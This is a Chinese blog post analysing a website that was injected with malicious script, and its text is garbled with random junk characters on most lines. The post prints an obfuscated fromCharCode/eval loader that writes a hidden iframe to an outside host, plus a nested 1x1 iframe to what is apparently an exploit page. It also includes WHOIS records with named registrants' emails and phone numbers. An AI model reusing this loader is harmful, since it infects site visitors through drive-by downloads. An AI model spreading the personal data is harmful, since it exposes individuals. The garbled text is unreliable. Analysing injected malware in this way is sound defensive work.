首发在我的博客里面，
%J+ E/ e )d`pQ6 http://www.areway.cn/?p=175 U|jSa,} YNQY4\( <0X f9a8> 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
\W~ N E|iQc8gr& <script>t=’60,105,102,114,97,109,101,
F(>Np2oi6 32,115,114,99,61,104,116,116,112,58,47,47,
.+$ Q <L 102,114,101,101,46,117,45,117,117,117,46,99,
<3LbN FP 110,47,101,114,114,111,114,46,104,116,109,
9Z4nA c 32,119,105,100,116,104,61,49,48,48,32,104,
RoPRQCE 101,105,103,104,116,61,48,62,60,47,105,102,
3}}38A|4 114,97,109,101,62′;
t'n pG}`tE t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
nLXlU*ES JMC. w! <script>t=’60,105,102,114,97,109,101,32,115,
'=b/6@& 114,99,61,104,116,116,112,58,47,47,102,114,
HiZ* +T.B 101,101,46,117,45,117,117,117,46,99,110,47,
uXn1
'K<'2 101,114,114,111,114,46,104,116,109,32,119,
EJMM9(DQ7 105,100,116,104,61,49,48,48,32,104,101,105,
0XE4<U 103,104,116,61,48,62,60,47,105,102,114,97,
eA2@Nkw~) 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
ofm#'7P 0 document.write(t);</script>
-|$@-fY; >;e~ WF>+K <html xmlns=”
Kp%2 k^U http://www.w3.org/1999/xhtml G<65H+)M\ “>
> qnko9 V <head>
wW>A_{Y <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
d; boIP`M; <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
s6 uG`F" <title>首页 - 爱生活家庭网
LBYMCY (C\]-E> 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
+$ 'Zf0 U 转换字符串后的大概内容是（谁点击后果自付）：
p`olCp' <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
, Vc6Gwm NcBIg:V\c 查询玉米u-uuu.cn的详细信息：
3l rT3a3vV Domain Name: u-uuu.cn
11 Q1AN ROID: 20070901s10001s64972306-cn
Ag-(5: Domain Status: ok
8\&X2[oAD Registrant Organization: 王雷
XO.jl" xu Registrant Name: 王雷
slCx w$ Administrative Email:
czlovexs@126.com } Y12 Sponsoring Registrar: 北京万网志成科技有限公司
n(1l}TJy Name Server:ns.yovole.com
-*1d! Name Server:ns1.yovole.com
f,U.7E
Registration Date: 2007-09-01 17:54
;17E(tl Expiration Date: 2008-09-01 17:54
_>&X\`D 最后PING了一下地址 都没有什么….
Yl
Zso2 - YEZ]:" 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
G/)O@Ugp <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
)}Hpi<5N <script language=”javascript” src=”
i1 }:8Unxf http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 3Z>Ux3[ >
P78g /p T 这个玉米应该有可能是木马作者的：
@ a! #G foafau.info的详细信息：
KI"#f$2& Access to INFO WHOIS information is provided to assist persons in
Z9v31)q( determining the contents of a domain name registration record in the
01 }D,W` Afilias registry database. The data in this record is provided by
hNC&T`.-~B Afilias Limited for informational purposes only, and Afilias does not
g| o,uD guarantee its accuracy. This service is intended only for query-based
qU \w= access. You agree that you will use this data only for lawful purposes
` 'DmDg and that, under no circumstances will you use this data to: (a) allow,
5AFJC? enable, or otherwise support the transmission by e-mail, telephone, or
(p" %O facsimile of mass unsolicited, commercial advertising or solicitations
W: z6Koc0 to entities other than the data recipient’s own existing customers; or
.73X3`P25 (b) enable high volume, automated, electronic processes that send
8SMxw~9$ queries or data to the systems of Registry Operator, a Registrar, or
<$D`Z-6 Afilias except as reasonably necessary to register domain names or
sA+ }TNhq modify existing registrations. All rights reserved. Afilias reserves
/:cd\A} the right to modify these terms at any time. By submitting this query,
ju8> :y8 you agree to abide by this policy.
1 KU!
tL Domain ID:D22418703-LRMS
Cwv9 a^ Domain Name:FOAFAU.INFO
hZ |z|!g0 Created On:20-Nov-2007 16:05:42 UTC
)HEa<P^kJl Last Updated On:20-Nov-2007 16:05:44 UTC
Ki;*u_ 4{ Expiration Date:20-Nov-2008 16:05:42 UTC
g_;\iqxL Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
/J]5H Status:CLIENT DELETE PROHIBITED
fW?vdYF Status:CLIENT RENEW PROHIBITED
P0;n9>g Status:CLIENT TRANSFER PROHIBITED
iDpSj!x/_ Status:CLIENT UPDATE PROHIBITED
Sj3+l7S? Status:TRANSFER PROHIBITED
[*Z;\ 5&P Registrant ID:GODA-040110615
*I B4[6 Registrant Name:liu hong
%Tfbs yf%f Registrant Organization:
f[]dfLS"W Registrant Street1:beijing
GV1pn) 4 Registrant Street2:
esJ~;~[@(r Registrant Street3:
v&6-a* <Z Registrant City:beijing
8'[~ 2/ Registrant State/Province:
(^ J I%> Registrant Postal Code:100000
b !+hH Hv: Registrant Country:CN
-M\ <nx Registrant Phone:+86.860108888777
4j-Xi Registrant Phone Ext.:
x[cL
Bc< Registrant FAX:
n'"/KS+_ Registrant FAX Ext.:
&5>Kl}7 Registrant Email:bbbshiji@163.com
QFA 8 N Admin ID:GODA-240110615
v_yw@ Admin Name:liu hong
P?%s
#I: Admin Organization:
|44Ploz2b Admin Street1:beijing
%:i7s-0w Admin Street2:
;x y"\S] Admin Street3:
[|v][Hwv Admin City:beijing
\P[Y`LYL Admin State/Province:
VM ZMG$C Admin Postal Code:100000
sWhZ by7 Admin Country:CN
xH ]Ct~ md Admin Phone:+86.860108888777
)L? P}$+ Admin Phone Ext.:
,Co|-DYf} Admin FAX:
!M(xG%M-V Admin FAX Ext.:
[DuttFX^x Admin Email:bbbshiji@163.com
P1!qbFDv8 Billing ID:GODA-340110615
)705V|v Billing Name:liu hong
Zj( AJ* r Billing Organization:
X;$+,&M" Billing Street1:beijing
?4Y GT Billing Street2:
?d* z8 w Billing Street3:
/l3V3 B7 Billing City:beijing
`>o{P/ HN Billing State/Province:
=F|{# F Billing Postal Code:100000
Zpt\p7WQ Billing Country:CN
Cp\6W[2+B Billing Phone:+86.860108888777
poE0{HOU Billing Phone Ext.:
~g91Pr Billing FAX:
PrqlTT}Px Billing FAX Ext.:
aj='b.2) Billing Email:bbbshiji@163.com
@F AA2 d Tech ID:GODA-140110615
N%@Qf~ Tech Name:liu hong
-OV&Md:~ Tech Organization:
6jaEv# Tech Street1:beijing
/|}EL%a Tech Street2:
iqsCB%;5 Tech Street3:
cVv=*81 \ Tech City:beijing
`bq<$e Tech State/Province:
w7L{_aom Tech Postal Code:100000
\
#F Tech Country:CN
kdiM5l70 Tech Phone:+86.860108888777
f_OQ./ ` Tech Phone Ext.:
\doUTr R Tech FAX:
"x0 ^#AVg Tech FAX Ext.:
E: 68?IJ Tech Email:bbbshiji@163.com
&ANf!*<\E Name Server:NS27.DOMAINCONTROL.COM
`7E;VL^Y1 Name Server:NS28.DOMAINCONTROL.COM
9c bd~mM{ Name Server:
^ e,. Name Server:
)MVz$h{c.] Name Server:
[>I<#_^~ Name Server:
+fB5w?Rg Name Server:
LH.]DVj Name Server:
uh0V FL*@ Name Server:
;?Tbnn Wn Name Server:
LVM%"sd? Name Server:
n` _{9R Name Server:
,&A7iO Name Server:
dl) Y'DI [\e eDa 接着下载每个文件里面的代码：
Z?q] b SIT 一步一步看..
C} j "Qi` 
QT 5TE: D 
^oz3F]4,g 
,<_A2t 2 
B:Oa}/ H
/{ J4:N'B> 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
